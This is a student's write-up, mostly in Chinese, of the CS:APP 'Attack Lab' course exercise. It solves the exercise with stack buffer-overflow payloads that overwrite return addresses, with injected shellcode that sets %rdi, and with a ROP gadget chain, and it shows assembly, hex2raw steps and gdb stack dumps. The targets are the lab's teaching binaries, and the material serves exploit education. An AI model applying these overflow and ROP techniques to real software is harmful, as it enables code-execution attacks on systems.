[CS:APP-ch3] Attack Lab

[CS:APP-ch3] Attack Lab

Part 1:缓冲区溢出攻击

Phase 1

1
2
3
4
5
6
7
8
9
[--------------------------code-----------------------]
   0x4017a5:	nop
   0x4017a6:	nop
   0x4017a7:	nop
=> 0x4017a8 <getbuf>:	sub    $0x28,%rsp
   0x4017ac <getbuf+4>:	mov    %rsp,%rdi
   0x4017af <getbuf+7>:	callq  0x401a40 <Gets>
   0x4017b4 <getbuf+12>:	mov    $0x1,%eax
   0x4017b9 <getbuf+17>:	add    $0x28,%rsp

buf开创0x28 = 40 个字节
随便填充40个字符

1
2
3
4
5
6
7
8
9
10
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:	sub    $0x8,%rsp
   0x00000000004017c4 <+4>:	movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>
End of assembler dump.

touch1的地址是0x4017c0
因为是little endian的机器所以将
c0 17 40 00 00 00 00 00
用hex2raw转化为字符,添加到40个a的后面就行了

结果:

1
2
3
4
5
6
7
8
9
[-----------stack--------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\300\[email protected]")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\300\[email protected]")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\300\[email protected]")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\300\[email protected]")
0032| 0x5561dc98 ("aaaaaaaa\300\[email protected]")
0040| 0x5561dca0 --> 0x4017c0 (<touch1>:	sub    $0x8,%rsp)
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:	cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 <is_checker>)

Phase 2

touch2 有参数传递,要改变寄存器rdi里存放的值

结果:

1
2
3
4
5
6
7
8
9
[---------------------stack---------------------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\260\334aU")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\260\334aU")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\260\334aU")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\260\334aU")
0032| 0x5561dc98 ("aaaaaaaa\260\334aU")
0040| 0x5561dca0 --> 0x5561dcb0 --> 0xc359b997fac7c748 
0048| 0x5561dca8 --> 0x4017ec (<touch2>:	sub    $0x8,%rsp)
0056| 0x5561dcb0 --> 0xc359b997fac7c748

依旧是40个a,接着是把返回的地址改为调用0x5561dcb0(修改寄存器的代码),修改0x5561dca8的值为调用touch2,修改0x5561dcb0的值为调用添加的代码code
栈的指针指向0040调用完code之后,刚好向下移动到0048调用touch2

code代码:

1
2
mov $0x59b997fa,%rdi
ret

编译:

1
2
3
gcc -c code.s
objdump -d code.o > code.d
./hex2raw  -i code.d > code.r

看到网上的码还有一步pushq $0x004017ec (touch2的地址)
结果:
ret时返回到0x5561dc78(%rsp的地址?)执行注入的代码,然后直接调用touch2了

1
2
3
4
5
6
7
8
9
[-----------------------stack-------------------------]
0000| 0x5561dc78 --> 0x6859b997fac7c748 
0008| 0x5561dc80 --> 0x303030c3004017ec 
0016| 0x5561dc88 ('0' <repeats 24 times>, "x\334aU")
0024| 0x5561dc90 ('0' <repeats 16 times>, "x\334aU")
0032| 0x5561dc98 ("00000000x\334aU")
0040| 0x5561dca0 --> 0x5561dc78 --> 0x6859b997fac7c748 
0048| 0x5561dca8 --> 0x0 
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:	cmpl   $0x0,0x2025bd(%rip)        # 0x6044e8 <is_checker>)

Phase 3

touch3参数是string
将str存到0x5561dcb8的地址上
code将str拷贝到%rdi
调用同上

1
2
3
4
5
6
7
8
9
[-----------------------stack-------------------------]
0000| 0x5561dc78 ('a' <repeats 40 times>)
0008| 0x5561dc80 ('a' <repeats 32 times>)
0016| 0x5561dc88 ('a' <repeats 24 times>)
0024| 0x5561dc90 ('a' <repeats 16 times>)
0032| 0x5561dc98 ("aaaaaaaa")
0040| 0x5561dca0 --> 0x401900 (<touch3+6>:	(bad))
0048| 0x5561dca8 --> 0x9 ('\t')
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>:	)

str是cookie的地址值用ascii转为字符串
(0x)59b997fa
对应35 39 62 39 39 37 66 61 00(字符串后面补空字符’\0’)

code代码:

1
2
mov $0x5561dcb8,%rdi
ret

Part2: ROP

Phase 4

看了看文档,解释的很清楚w
利用已经有的代码片段gadget,通过汇编的解释,来调用自己想要执行的程序

第一个程序还是调用touch2
要将cookiee放入rdi之中
但pop %rdi(5f)的指令很少出现
所以转换为

1
2
3
popq %rax
movq %rax %rdi
ret

根据表里的编码
popq %rax的编码是58
movq %rax %rdi的编码是48 89 c7

在rtarget.d里找到这两个代码片段

gadget1

1
2
3
00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq

地址为0x4019ab

gadget2

1
2
3
4
5
6
7
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq  

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq

273的地址是0x4019a2

转化为little endian的形式然后就是合并,转换为字符串注入

1
2
cat offeset gadget1 cookiee gadget2 touch2 > code
./hex2raw -i code > code.r

然后就成功了

1
2
3
4
5
6
7
8
9
10
[---------------stack----------------------]
0000| 0x7ffffffee8a0 ('a' <repeats 40 times>, "\253\[email protected]")
0008| 0x7ffffffee8a8 ('a' <repeats 32 times>, "\253\[email protected]")
0016| 0x7ffffffee8b0 ('a' <repeats 24 times>, "\253\[email protected]")
0024| 0x7ffffffee8b8 ('a' <repeats 16 times>, "\253\[email protected]")
0032| 0x7ffffffee8c0 ("aaaaaaaa\253\[email protected]")
0040| 0x7ffffffee8c8 --> 0x4019ab (<addval_219+4>:	pop    %rax)
0048| 0x7ffffffee8d0 --> 0x59b997fa 
0056| 0x7ffffffee8d8 --> 0x4019a2 (<addval_273+2>:	mov    %rax,%rdi)
0064| 0x7ffffffee8e0 --> 0x4017ec (<touch2>:	sub    $0x8,%rsp)

一开始试了237,但不知道为什么这个返回的时候返回到了别的函数导致segmentation fault